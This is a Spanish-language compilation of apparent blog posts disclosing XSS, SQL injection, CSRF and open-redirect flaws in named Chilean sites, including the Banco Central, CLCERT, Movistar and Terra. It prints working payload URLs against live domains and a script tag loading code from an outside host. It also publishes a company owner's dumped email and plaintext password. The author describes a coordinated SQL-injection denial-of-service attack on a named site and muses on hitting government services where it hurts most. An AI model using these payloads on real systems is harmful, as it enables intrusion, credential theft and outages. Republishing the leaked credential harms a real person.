El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure sobre las vulnerabilidades para denunciar este tipo de hechos.

El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.
El XSS que encontré, está en el archvo rim/default.asp en el subdominio si2.bcentral.cl.

Como prueba de concepto, incrustaré un ‘iframe’ con el sitio web de Google dentro del sitio del Banco Central

Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio “seguro“.

Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.

La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección “Base de datos economicos”, que al parecer ya ha sido corregido.

Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.

Según mi opinión, un ataque de denegación de servicio a sitios del gobierno no tiene ningun sentido y no hacen daño ni provocan preocupación, creo que los ataques deberian realizarse hacia “servicios” y no a “sitios”, donde se vean afectados los servicios que los ciudadanos usan y que el gobierno se sienta incapaz de brindarselos. Esto sucede porque no se hace un estudio sobre la víctima, para darle donde más le duele, se puede llamar “ataque organizado” porque se acuerdan una hora y todos presionan el botón ese dia a esa hora, pero no hay una real coordinación donde se investigue un objetivo donde realmente llame la atención, y mientras siga siendo así, seguiran siendo ataques simbólicos.

El gobierno chileno tiene muchas brechas de seguridad informática y de la información, es por esto que me hago la pregunta, ¿Está preparado el gobierno de Chile para recibir un ataque de robo de información?, la respuesta clara es: NO. No está preparado el gobierno, ni las personas, ni los encargados, no existen políticas (y si existen no se cumplen), encargan su seguridad a un simple firewall que solo les sirve para que sus empleados no puedan ingresar a ver youtube. Obviamente no puedo decir que “todas las entidades del gobierno tienen fallos de seguridad”, pero me refiero al gobierno en general.

Desde hace un tiempo que he estado investigando las distintas vulnerabilidades web en sitios del gobierno, intentando reportar la mayoría. En algunos casos no responden, en otros casos no hay forma de contactarlos pero en el mejor de los casos, recibo respuestas y unas satisfactorias gracias.

El gobierno chileno es muy vulnerable a la fuga y robo de información (data leak, data theft).

Fuga de Información o Data Leak
Basta con preparar un dork lo suficientemente bueno que nos permita encontrar URLs indexadas por algún buscador donde podamos acceder a información sensible. Es muy típico acceder a respaldos o dumps de bases de datos, a planillas de calculo o archivos de texto que no deberían ser publicos. Por otro lado tambien está el problema del control de acceso, saber quien y a qué se accedió a los sistemas de manejo de información.

Robo de Información o Data Theft
Asimismo, tambien es vulnerable al robo de información o Data Theft, se han preguntado que tan fácil es ingresar a una organización del gobierno y encontrar información sensible para poder llevarnos? Los mismos empleados publicos tienen la capacidad de insertar un pendrive en sus computadores de trabajo y llevarse información a casa, muchas veces lo hacen inconcientemente, sin saber o sin darse cuenta que estan exponiendo la seguridad de la institución.
Se han preguntado si la información que se da de baja realmente se destruye?
- Qué información podemos encontrar en los basureros diariamente? Sería bueno hacer ese ejercicio …
- Si a una persona se le pierde el telefono movil o el portatil de la institución, qué información queda expuesta?
- Cuanta información sensible manejan las personas sin saber que se tratan de datos sensibles?

Servidores y Servicios
Si hablamos de la seguridad a nivel de servidores y servicios, de 1 a 10 yo pienso que el nivel de seguridad no supera el 5 en la mayoría de los casos: instalaciones y configuraciones por defecto, versiones de sistema operativo antigua, versiones de servicios antiguas (ftp, ssh, http, etc), passwords débiles y genéricas, poca seguridad en cuanto a permisos y propietarios de archivos (se encuentran muchos permisos 777 y como propietario el usuario apache) y por último, culpando nuevamente al usuario, el hecho de que un usuario le entregue su password a otras personas.

Vulnerabilidades Web
Pueden tener el firewall más caro, contratar a la empresa de seguridad con más prestigio, pero cuando una web es vulnerable a ataques que nos permitan acceder al servidor de alguna forma, es dificil de detectar. Muchos sitios web del gobieron son vulnerables a distintos tipos de ataques, desde algunos tan sencillos como los que nos permiten obtener el full path, hasta unas mas complejas que nos permiten, mediante distintas técnicas de ataque, obtener el control del servidor. Las vulnerabilidades tipicas son las inyecciones de SQL (sql injection), XSS (en algunos casos XSS permanentes), Local/Remote File Include, Directory Traversal y, para rematar, Arbitrary File Upload. Hay veces que saltarse los filtros es muy facil, pudiendo combinar distintas vulnerabilidades como “Full Path Disclosure + Arbitrary File Upload + Directory Traversal” para lograr obtener una shell en el servidor. Muchos sistemas carecen de validaciones efectivas para sanitizar o filtrar los parametros que se pasan mediante GET o POST.

El caso del Ministerio del Interior
Hace unas semanas reporté una vulnerabilidad de XSS Permanente en el sitio web del Ministerio del Interior. En algunos casos un XSS podría parecer inofensivo, pero en este caso en particular al tratarse de un XSS permanente, si alguien lo hubiese explotado, perfectamente podria haber accedido a información sensible del ministerio, ya que se encontraba en un sistema donde los usuarios realizan preguntas o peticiones al ministerio, luego las preguntas son recibidas por gente que trabaja en el ministerio mediante una interfáz web. Si inyectabamos un codigo html/javascript en nuestra “pregunta”, se guardaba sin filtrar ni parsear en la base de datos, luego cuando el usuario encargado ingresaba vía web al sistema de administración, el código javascript se le ejecutaba en el navegador, exponiendolo a un ataque que podría haberle robado la sesión o más datos de su computador, enviandolos a un servidor remoto.
Esta vulnerabilidad fue corregida despues de haberla reportada.

El caso de la Dirección General de Movilicación Nacional (DGMN)
La DGMN expone desde el 2007 la base de datos del registro del servicio militar, dejando al descubierto los nombres de los que postularon y fueron llamados, juntos con sus RUT y más información sensible. La DGMN ha sido reportada mediante distintas vias y ninguna ha dado resultado, siguen sin solucionar el problema y hasta el día de hoy la base de datos está expuesta junto con otros datos más.

Si en Chile el grupo “Anonymous” estuviese conformado por hackers con los conocimientos y habilidades suficientes, estoy seguro que podrian poner en aprietos al gobierno.

La vulnerabilidad se encuentra en el archivo disco.php mediante la variable id. Es posible generar un error facilmente ingresando una comilla simple (‘):

Hasta el momento el “filtro” escapa el la comilla y anteponiendo un backslash (\), intentamos hacer el típico SQL Injection para obtener información sobre la base de datos usando ‘+or 1=+ union+select+database(),user()+–+ y obtenemos como resultado “Error select * from disco where id=3342\’ 1= (),() –”

Efectivamente el “filtro” está eliminando las palabras que ponemos y dejando sólo los caracteres que no son letras. Ahora, si intentamos inyectar un tag html como por ejemplo <em>prueba</em>, obtenemos Error select * from disco where id=3342<></>

Bien, ahora nos saltaremos los filtros que nos han puesto…

¿Piensas que es muy complicado?

Para saltarse las protecciones XSS y SQL Injection que nos han puesto, lo único que tenemos que hacer es escribir con mayúsculas.
Como prueba de concepto usaremos el siguiente link:

http://musica.cooperativa.cl/disco.php?id=3342<STRONG>HOLA! ESTOY ESCRIBIENDO CON MAYUSCULAS PARA SALTARME TU FILTRO!!</STRONG>

Mira lo que obtenemos:

Para realizar la típica prueba de concepto, usando la función alert() de JavaScript tendremos un problema, ya que al escribir “ALERT” (con mayúsculas), no encontrará ninguna función con ese nombre … Pero solucionar este problema es más fácil de lo que pensamos, pongamos el tag <SCRIPT> con el atributo SRC y apuntamos a una URL (con mayúsculas todo) el cual contenga el JavaScript que queramos que sea ejecutado, para este caso elaboré un script “POC.JS” que contiene “alert(‘Prueba de concepto XSS’)” (sì, con minúsculas), entonces llamamos al script de la siguiente forma:

<SCRIPT SRC=HTTP://ZERIAL.ORG/POC.JS></SCRIPT>

Y obtenemos lo siguiente:

Con esto, damos por hecho que logramos saltarnos el filtro anti XSS.

Para saltarnos el filtro SQL Injection, es de la misma forma, las sentencias SQL las debemos escribir con mayúsculas y listo, por ejemplo OR+1=0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14+–+, tenemos como resultado el error sql indicandonos exactamente lo que escribimos:

Ahora lo único que nos queda es empezar a jugar y encontrar la cantidad de columnas para poder extraer información de la base de datos.

Un ataque más sofisticado …

Este sitio corresponde a un lugar para descargar/comprar música “legalmente”, donde los usuarios (me imagino) se registran, introducen sus datos personales y van comprando musica mediante su tarjeta de credito (?), bien … Imaginemos un ataque un poco más elaborado, tenemos un SQL Injection donde podemos obtener la lista de todos los suscritos al sitio (correo, web, telefono y algún otro dato), luego elaboramos un sitio identico (pero falso) e invitamos a los usuarios a “Descargar musica a $1 (un peso)”, les pedimos que seleccionen las canciones que desean, inicien sesión y realicen la compra, el usuario encantado comprará muchas canciones pero cuando termine de enviar el último formulario misteriosamente aparece un mensaje que dice “Ha ocurrido un error inesperado. Intente mas tarde“, pero por debajo, el sitio envió todos sus datos personales a un sitio externo y ahora sus datos personales están en manos del atacante.

La vulnerabilidad fue reportada

El CLCERT tiene como misión monitorear y analizar los problemas de seguridad de los sistemas computacionales en Chile, y reducir la cantidad de incidentes de seguridad perpetrados desde y hacia éstos.

Si bien CLCERT es una “organización” que busca mejorar la seguridad, creo que es impresentable que tengan publicados sitios web con vulnerabilidades tan basicas.
Esta organización da cursos y diplomados relacionados a la “Seguridad Computacional” o como la mayoría los conoce “Cursos de Seguridad Informática” o simplemente “Cursos de Seguridad”. Todas las personas que han pasado por estos cursos se pueden ver en la URL http://capacita.clcert.cl/dir/ la cual con tiene una vulnerabilidad de SQL Injection, posibilitando al atacante obtener más información sobre las personas asistentes a los cursos o bien obtener información del servidor.

La vulnerabilidad SQL Injection se produce al no parsear los parametros pasados por GET mediante la variable “apellido”, “id” y “fecha” del archivo index.php. Y la XSS se produce a partir de esta misma.

Si navegan por el sitio y comienzan a ver las URL se darán cuenta de forma fácil que parámetro o url es la vulnerable. Por ejemplo, si nos situamos por encima de una letra, podemos ver la url

Deducimos que podemos inyectar código sql mediante la variable “apellido“.

Proof-of-Concept

1. SQL Injection

Lo primero que haremos será inducir la aplicación al típico error de sintáxis añadiendo un caracter ” ‘ ” al valor de la variable mediante la URL http://capacita.clcert.cl/dir/?apellido=%27 y obtenemos el error esperado con la información deseada:

Podemos ver la consulta completa incluyendo el nombre de la tabla y los campos, con esto nos facilitamos la inyección de sql.
Teniendo todo esto en consideración, podemos completar la query agregando un UNION con los datos que queramos saber, en esta prueba de concepto obtendremos el usuario actual con el que se está conectando y la version del motor de base de datos, usando las funciones user() y version() propias del MySQL.

Obteniendo en los campos correspondientes la información solicitada

Con este simple sql injection ya tenemos información relevante. Usuario “diplomado” y version 4.1.22 del mysql.

2. Cross-Site Scripting

Cuando logramos que la aplicación muestre un error de sintaxis, podemos ver que nos muestra literalmente la consulta incluyendo lo que nosotros agregamos, por ejemplo si agregamos “‘ esta es una prueba” veremos lo siguiente:

Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘esta es una prueba%’‘ at line 1Executed query: select apellidos, nombres, fecha , id from users where apellidos like ” esta es una prueba%’

Por lo tanto, si en lugar de “esta es una prueba” ingresamos un codigo javascript, será ejecutado:

Es increible como las organizaciones que “luchan” por la seguridad son inseguras. Errores tan basicos, tan simples … Uno se pregunta si realmente la gente que entra en sus cursos salen capacitadas y hasta que punto son capaces de encargarse de la seguridad informática de una empresa o institución.

La vulnerabilidad fue reportada el 6 de Julio y solucionada el dia 7 de Julio.

Links

Reporte XSS en Secureless
Reporte SQL-Injection en Secureless

Reportamos en Secureless una serie de vulnerabilidades XSS y CSRF que afectan al sitio web de Movistar y a sitios relacionados a la empresa. Los sitios afectados son:

• http://www.movistar.cl
• http://www.mcloud.cl
• http://www.188.cl

Las vulnerabilidades detectadas nuevamente ponen en riesgo la seguridad del usuario aprovechandose de la confianza que existe desde el usuario hacia el sitio y viceversa.
El estado de estas vulnerabilidades es hasta ahora “Sin Reportar”, ya que por más que buscamos en el sitio web y tambien ayudandonos con google, no pudimos encontrar ningún formulario ni correo de contacto sin que nos pidiera registrarnos o ser clientes. Sólo lo reportamos vía twitter haciendo un reply a la cuenta de @MovistarChile.

XSS en Movistar.cl:

URL: http://www.movistar.cl/PortalMovistarWeb/appmanager/Porta%3Cscript%3Ealert(/xss/)%3C/script%3EalMovistar/portal?_nfpb=true&_pageLabel
Error: Al generar un error404, el sitio no está validando los parametros pasados, por lo que si intentamos entrar a un sitio con un nombre como el ejemplo de más arriba, lo interpreta.

XSS (2) en Movistar.cl

URL: http://www.movistar.cl/PortalMovistarWeb/appmanager/PortalMovistar/portal?_nfpb=true&_pageLabel=P12200150661236808023656&q=%22;%3C/script%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
Error: No valida las variables de entrada. En este caso permite inyectar codigo htm/javascript en la variable “q” pasada por GET o por POST mediante el formulario de búsqueda.

CSRF en Movistar.cl

El mismo formulario de búsqueda permite realizar peticiones GET y POST desde otros sitios, sin utilizar ningún tipo de validación ni token anti_csrf.
Por ejemplo, con este código HTML:

<form action=”http://www.movistar.cl/PortalMovistarWeb/appmanager/PortalMovistar/portal?_nfpb=true&_pageLabel=P12200150661236808023656″
id=”cse-search-box” method=”post” style=”margin-top: 7px; margin-right: 2px”><div><input id=”idsearch” type=”text” name=”q” size=”31″/><a
href=”http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.movistar.cl/PortalMovistarWeb/appmanager/PortalMovistar/portal?_nfpb=true&_pageLabel=P12200150661236808023656&q=aaaaaaa%22;%20asasasasa#”
id=”btn_buscadorMovistar” target=”_parent”>a</a></div></form>

Si buscamos el string “;<script>alert(/xss/)</script> nos aparecerá el alert javascript.

CSRF en MCloud.cl

URL: https://www.mcloud.cl/cp/ps/Main/login/Authenticate
Error: Es posible realizar un login de forma remota o enviar parametros al servidor desde un formulario externo al sitio mcloud.cl, sin utilizar ningún tipo de validación ni token anti_csrf.

SQL Injectoin en 188.cl

URL: http://www.188.cl/?area=%27having%201=1–
Error: Simplemente no validan ni escapan los valores pasados por GET a la variable “area”

Links

- Unreported XSS in Movistar.cl
- Unreported XSS+CSRF in Movistar.cl
- Unreported SQL Injection in 188.cl
- Unreported XSRF in mcloud.cl

El error se produce en el archivo events.html al no filtrar la variable “groupid”, pudiendo generar un error que nos mostrará información relevante para poder hacer la inyección de código SQL.

URL original: http://people.joomla.org/events.html?groupid=44
Inyección SQL: http://people.joomla.org/events.html?groupid=1%20or%201=0%20union%20select%20all%201,2,3,4,5,6,7;%20–

No descarto que esta vulnerabilidad sea parte de una extensión, plugin o módulo y que pueda afectar a otros sitios que lo implementen.

EDITADO: (29/diciembre/2010) Joomla corrige la vulnerabilidad

Las URL vulnerables corresponden al buscador de terra: buscador.terra.cl; al sitio de “seguridad”: seguridad.terra.cl; sitio web mobil:m.terra.cl; sitio web principal:www.terra.cl;y un sub-portal: acaballo.terra.cl

Timeline
* 25/Diciembre/2010: Se encuentran las vulnerabilidades.
* 27/Diciembre/2010: Se reportan.
* 28/Diciembre/2010: No se obtiene respuesta. Se publican.

La primera vulnerabilidad corresponde a un XSS encontrado en el buscador:

La pagina “Default.aspx” no está validando ni filtrando los datos pasados por la variable “query”.

La segunda vulnerabilidad tambien corresponde a XSS, pero afecta al sitio seguridad.terra.cl:

Tambien corresponde a un script asp que no valida ni filtra el valor de la variable “Pagina”, pudiendo inyectar código html o javascript

La tercera vulnerabilidad es una del tipo “Full Path Disclosure“; nos permite ver la ruta absoluta donde está la aplicación. Esta vulnerabilidad es bastante particular, ya que no he podido reproducirla en ningun otro script del mismo sitio. La URL http://www.terra.cl/deportes/index.cfm?accion=futbolnacional&id_reg=1518438 muestra una noticia o información correspondiente al id 1518438, sin embargo, si le agregamos dos puntos (..) al final de la URL, podemos ver un error que nos muestra la información:

Se pueden ver los dos puntos al final de la URL, lo que nos muestra el siguiente mensaje:

La cuarta vulnerabilidad es una SQL-Injection, afecta sl subdominio acaballo.terra.cl, especificamente a la URL http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460. Podemos hacer que se queje si agregamos la tipica comilla (‘) al final de la URL

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php on line 274

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/html/virtual/elturf.com/www/pedigree/training/modulos1/ver_inscripcion.php on line 275

O bien manejar la query para que nos devuelva verdadero y no muestre error, por ejemplo:

http://acaballo.terra.cl/pedigree/sistemas/arbol/ver_inscripcion.php?id_carrera=88460%20OR%201=1;%20–

Ademas de poder inyectar SQL, nos revela información del path absoluto.

La quinta y última vulnerabilidad nos permite redireccionar al usuario a cualquier sitio fuera de terra.cl, la url vulnerable es http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&pais=CL&urlRetorno=

Si a la variable urlRetorno se le pasa un valor de una URL cifrado en base64, el usuario será redireccionado a ese sitio. Por ejemplo, si ciframos http://www.google.cl en base64, quedaría aHR0cDovL3d3dy5nb29nbGUuY2w=, si ingresamos a la URL completa:

http://m.terra.cl/pms/mod_portal_rendering/templates/ATOMO/COMUM/COPAMUNDO/PHP/votaAnimo.php?voto=3&pais=CL&urlRetorno=aHR0cDovL3d3dy5nb29nbGUuY2w=

Podemos ver como el navegado se va automaticamente al sitio de Google. De esta forma,es posible hacer que un usuario ingrese a un sitio malicioso, usando la confianza del dominio de terra.cl.

Este sistema de pago del transporte público de Santiago, tiene un sistema que nos permite monitorear en línea los saldos y los movimientos de nuestra tarjeta y de ésta forma saber dónde cargamos con dinero la tarjeta, en qué buses o metro la usamos, cuánto salgo nos queda, etc. Este sistema no es en tiempo real por lo que asumo que no saca los valores directamente de la base de datos del sistema de transporte, además desconozco si tiene permisos para escribir en la base de datos o solamente leer.
El sistema tiene un bug que nos puede permitir, con un poco de ingenio, hacer un ataque de denegación de servicio distibuido (DDoS) y dejar el sistema (de saldos y mov. en linea) offline y posiblemente realizar inyección de código SQL (SQL-Injection) . No me he puesto a investigar que otro impacto podría tener.

El sistema nos permite ver la cantidad de movimientos y saldos de nuestra tarjeta por periodos de mes actual, 60 y 90 días, sin embargo, es posible modificar esos valores alterando el atributo “value” del elemento del formulario. Si, así de sencillo.

Código HTML original:

Mes Actual
60 dias
90 dias

Pruebas de concepto (PoC)

1. Modificamos el valor de “Mes Actual” por un número negativo.

Mes Actual
60 dias
90 dias

Y ejecutamos la consulta:

2. Modificamos el valor de “Mes Actual” por el número 5.

Mes Actual
60 dias
90 dias

Y ejecutamos la consulta:

Si se fijan en la fecha, podrán ver que sólo se mostró información desde hace 5 días.

3. Modificamos el valor de “Mes Actual” por una comilla para generar un error de sintáxis:

Mes Actual
60 dias
90 dias

Y ejecutamos la consulta:

Si cambiamos el valor de “Mes Actual” a uno muy alto, por ejemplo 99999999999999999999999999999999999999 podemos ver cómo el sistema ya comienza a comportarse de forma extraña, por ejemplo ver la fecha:

Operación: Cartola de movimientos
Tarjeta bip!: 6547XXXXX
Fecha: 11/02/2010 10:57
Movimientos desde: 90/37/-2.7

De ésta forma podemos manejar arbitrariamente la consulta.

Queda más que demostrado que el famoso sistema para ver los saldos y movimientos en línea de la tarjeta bip no está validando los parametros de entrada y con un poco de ingenio podemos realizar distintos tipos de ataques. Se pueden generar simultaneamente consultas pesadas en el servidor, provocando su caída. Tambien, con un poco más de conocimientos y habilidades es posible lograr la inyección de código sql en la consulta.

Ahora vamos a la práctica, se los enseñaré mediante un ejemplo real buscando un sitio web al azar con la ayuda de Google. Encontramos el sitio “Cibertec.cl” que al parecer cumple todo para poder explotarla.Ç
Si ingresamos al sitio http://www.cibertec.cl y revisamos el tipo de links que contiene, podemos darnos cuenta fácilmente que puede  ser vulnerable a SQLi.

Vamos a comprobarlo cambiando el número 587 por una comilla simple. Entonces ingresamos a http://www.cibertec.cl/detalle.php?item=’ y obtenemos el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1)
Session halted.

Si nos fijamos en la línea donde nos muestra la consulta SQL podemos ver que al final pone “WHERE id = ‘“. Pues esa comilla simple que se ve depsues del signo igual es la comilla que nosotros pusimos en el navegador. De esta misma forma, si agregamos la palabra “prueba” luego de la comilla simple, podemos ver el siguiente mensaje:

Database error: Invalid SQL: SELECT * FROM inventory WHERE id = ‘prueba
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”prueba’ at line 1)
Session halted.

Ahi aparece la comilla simple seguida de la palabra prueba, justo lo que nosotros escribimos. Bien, ya manejamos lo que queremos que se muestre, ahora debemos insertar el código malicioso.

Prueba de concepto (PoC)

Vamos a aprovecharnos de ésta vulnerabilidad de SQL Injection para realizar phishing y para intentar robar una credencial mediante XSS.

1. Phishing: Vamos a añadir un iframe con un sitio especialmente preparado para éste fin. Pueden hacer la prueba incrustando el sitio de Google: http://www.cibertec.cl/detalle.php?item=%27%3Ciframe%20src=http://www.google.cl%3E%3C/iframe%3E
   (puede leer más sobre esto en un post que publiqué hace un tiempo)
2. Robo de credenciales: El típico aprovechamiento de Cross-Site Scripting usando javascript para redirigir al usuario a un sitio web cuyos parámetros será una cookie. Por ejemplo: http://www.cibertec.cl/detalle.php?item=%27%3Cscript%3Ealert%28this.cookie%29%3C/script%3E

De esta manera podemos afirmar que el sitio web Cibertec.cl es vulnerable a SQL Injection y Cross-Site Scriting.

En ese momento, me comuniqué con los encargados e intercambiamos 4 o 5 correos. Les comuniqué que tanto su sitio como sitios de clientes tenian graves vulnerabilidades, les dije exactamente que tipo de vulnerabilidades tenian y la forma de corregirlas. Luego de esto, la gente de GoldenData me preguntó si le podía hacer auditoría a otros sitios que tienen ellos … y yo, nada de tonto, le dije que si, pero como era un servicio que ellos me estaban pidiendo les cobraría mis horas hombre, luego de este último correo… la gente no se contactó nunca más conmigo… pues claro, querían que les hiciera auditoria gratis. Ahora me entero que la gente cambió totalmente el sitio web de su empresa pero no ha corregido los sitios de sus clientes. Esta véz no me centraré en GoldenData.cl, hablaré sobre los desarrollos que hacen ellos, es decir, sus clientes:

• http://www.artpetit.cl/
• http://www.videocity.cl/
• http://www.arapemaquetas.cl/
• http://www.questor.cl/
• http://www.almendradec.cl/
• http://www.kelsopro.cl/
• http://www.zanartu.cl/
• http://www.riosycia.cl/
• http://www.beeone.cl/

Tampoco me desgastaré en algo que ya hice: Comunicarme con la empresa, ya que además de ser aprovechadores, no supieron dar la cara.

Antes de empezar hice un análisis rápido a todos los sitios para descartar los que no tengan vulnerabilidades a simple vista. Los sitios descartados son: beeone.cl, almendradec.cl, kelsopro.cl, zanartu.cl y questor.cl. Empezaré a analizar las restantes:

1- http://www.artpetit.cl/
Las URL sospechosas para realizar LFI, RFI y XSS son las siguientes:

1. http://artpetit.cl/productos.php?categoria=Miniaturas
2. http://artpetit.cl/?pag=contactenos
3. http://artpetit.cl/?pag=contactenos&codigo=009F2&nombre=Oso%20en%20Balanc%EDn

Si intentamos agregar un código como por ejemplo <script>alert(object)</script> o cambiar el valor de la variable pag por algun path interno o externo (rfi, lfi) nos mostrara un mensaje que nos dirá: Not Acceptable.

Por lo que, si bien parecen ser vulnerables, no lo son. Por otro lado, si transformamos la variable pag o categoria a un arreglo (pag[]) veremos que el nos imprime el valor del Array, lo que nos dice automáticamente que no está parseando los valores de entrada, el mensaje “Not Acceptable” es a nivel de servidor y no de aplicación. Este error no ses crítico y no compromete en absoluto la seguridad del sistema.

http://artpetit.cl/productos.php?categoria[]=asdf

2- http://www.videocity.cl/
Si navegamos por el menú podremos ver una url como http://www.videocity.cl/#vitrina.php?dpto=Audio, lo primero que se nos ocurrirá es cambiar el valor de la variable dpto pero veremos que no tiene ningún resultado, la página se sigue viendo exáctamente igual. El truco es el siguiente: Remover el símbolo “#” y dejar la URL de la siguiente forma:

http://www.videocity.cl/vitrina.php?dpto=<script>alert(this)</script> y veremos que nos va a mostrar el alert. Con esto demostramos que este sitio es vulnerable a XSS, pudiendo insertar un iframe para realizar phishing o usar el sitio para cualquier cosa que nos imaginemos.
Podemos intentar el mismo truco para otras url donde se almacenen los id o secciones. Este sitio tiene el mismo error que el anterior al transformar alguna variable a Array.

3- http://www.arapemaquetas.cl/
Si intentamos hacer XSS a las URL del menú nos encontraremos con el mismo error que en el primer caso: Not acceptable. Sin embargo, la técnica de transformar la variable en un array nos permitirá saber el path del sitio dentro del sistema. A esto se le llama Full Path Disclosure.
La URL es:

http://www.arapemaquetas.cl/maquetas.php?categoria[]=Arquitectura

Obtendremos un resultado como:

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include(htmls/array.html) [function.include]: failed to open stream: No such file or directory in /home/arapemaq/public_html/maquetas.php on line 18

Warning: include() [function.include]: Failed opening ‘htmls/array.html’ for inclusion (include_path=’.:/usr/lib/php:/usr/local/lib/php’) in /home/arapemaq/public_html/maquetas.php on line 18

4- http://www.riosycia.cl/
Este sitio es vulnerable a XSS mediante la siguiente URL:

http://www.riosycia.cl/productos_categorias.php?categoria=%3Cscript%3Ealert%28this%29%3C/script%3E

Si recorremos los distintos links del sitio podremos encontrar la ruta a un fichero llamado clave.php:

http://www.riosycia.cl/aplicaciones/clave.php

Si ingresamos un correo cualquiera nos dirá que no está en la base de datos, sin embargo, si ingresamos el comodín

‘ or ’1′=’1

Nos dirá que el correo fue enviado a esa dirección. Lo que nos comprueba que ese formulario es vulnerable a SQL Injnection.

Vulnerabilidades detectadas: Full Path Disclosure, SQL Injection, XSS.
Alcance de las vulnerabilidades: Uso del sitio para hacer phishing y, mediante SQLi tener una infinidad de opciones para realizar ataques, incluyendo un D-o-S.
Errores detectados: Parametros de entrada sin filtros.

Como conclusión podemos decir que estas personas no  dedican tiempo al tema de la seguridad ya que los sitios que no eran vulnerables es porque son sitios estáticos y feos y aquellos que al intentar violarlos aparecia el menasje de “Not Acceptable” es porque el servidor donde esa empresa tenia alojada el sitio web estaba protegido. Esto último explica el hecho de que los sitios hechos de la misma forma funcionen en un servidor y en otros no.

Por lo tanto, NO recomiendo esta empresa.

Tambien me gustaria emitir un comentario personal; las empresas que se dedican a realizar sitios, diseños de “última generación”, web 2.0, web marketing, etc etc y que dicen ser expertos en la captación de clientes, saben cómo navega un usuario en su sitio, etc siempre dejan de lado la seguridad y generalmente no tienen a gente altamente capacitada para programar o adminsitrar un servidor y es este motivo el que me da ganas de romperles la seguridad del sitio, de buena manera, obviamente.

Ya, vamos a la acción…

Como de costumbre, ingresamos al sitio y no nos dedicamos a recorrer las promociones, ni nada porque no nos interesa, lo que realmente nos interesa es encontrar links candidatos a ser explotados, si nos damos una vuelta rápida por el sitio vamos a encontrar rapidamente dos enlaces:

http://www.webseo.cl/formulario.php?plan=DWamedidad&tipo=contizar
http://www.webseo.cl/noticia_detalle.php?id=1

Vamos a destripar la primera url, intentando provocar un error, incluir ficheros loales/remotos, etc. Luego de intentarlo un par de veces nos damos cuenta que no es vulnerable (a simple vista) por lo que, para no perder el tiempo, nos vamos directamente a la segunda url, lo que primero se nos viene a la cabeza es un sql injection, pues intentemoslo:

El query select n.idnoticias, n.titulo, n.fecha_ingreso, n.foto, r.resumen, d.descripcion, c.idcategorias, n.categorias_idcategorias, c.nombre, n.estado, a.archivo from vmst_noticias n, vmst_resumen r, vmst_descripcion d, vmst_categorias c, vmst_archivo a where c.idcategorias=n.categorias_idcategorias and d.noticias_idnoticias=n.idnoticias and r.noticias_idnoticias=n.idnoticias and c.idcategorias=’1′ and n.idnoticias=a.noticias_idnoticias and n.idnoticias=’ and n.estado=’SI’ el inválidoYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘SI” at line 1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘SI” at line 1

Ya tenemos el query, las filas, tablas, etc. Este mensaje de error nos facilitará la vida, vamos por las tablas que nos interesan, usuarios, password, etc etc. Encontramos las siguientes tablas:

vmst_archivo
vmst_bannear
vmst_administrador

Ya tenemos lo que nos interesa, la tabla vmst_administrador. El siguiente paso es obtener las columnas y luego la información:
Las columnas encontradas son email y pass las cuales contiene la siguiente información:

email | pass
cyenes@webseo.cl | 654321

Si hacemos un whois al dominio, podemos ver que el dueño se llama “CHRISTOPHER JOHN YENES BURGOS” y el email es cyenes@webseo.cl lo que podemos concluir, que ese email corresponde al dueño de la empresa. Si nos fijamos en la clave, corresponen a numeros desde el 6 hasta el 1 lo que es extremadamente fácil y entonces nos preguntamos

¿Si el dueño de la empresa usa password tan tontas como esas, queire decir que no confia en el sistema, entonces por que nosotros debemos confiar en él (ademas estan en exto plano!!!!)?

De lo contrario, si esta persona si confiara en sus sistemas, entonces ¿Por qué usa password tan fáciles y texto plano?

Ya habiendo encontrado este tipo de vulnerabilidad y habiendo concluido esto, queda claro que WebSeo no es una empresa de confianza, no demuestra profesionalidad.

Vulnerabilidades detectadas: SQL Injection.
Alcance de las vulnerabilidades: Recorrido de tablas y columnas, obtención de datos de las tablas.
Errores detectados: Passwords sin encriptación, no existen filtros de entrada en las URL.

El primer paso fue encontrar un objetivo que tenga una vulnerabilidad SQLi, luego de eso ver hasta qué punto podemos inyectar código SQL para poder crear nuestra consulta pesada que genere la denegación de servicio.

El sitio objetivo fue http://maqval.cl (alojado en dreamhost), sitio que esta entre los “Sitios vulnerables” que he publicado. La consulta SQL que nos ayudó a realizar la denegación de servicio fue una con SELECT anidados usando la función BENCHMARK y repitiendo muchas veces  estas instrucciones. No sé si el sitio web corrigió las vulnerabilidades, por lo que no daré el string completo de la inyección sql.

Fuimos 2 o 3 personas las que ejecutamos la inyección sql y al pasar los segundos el sitio dejo de responder, mostrando el mensaje:

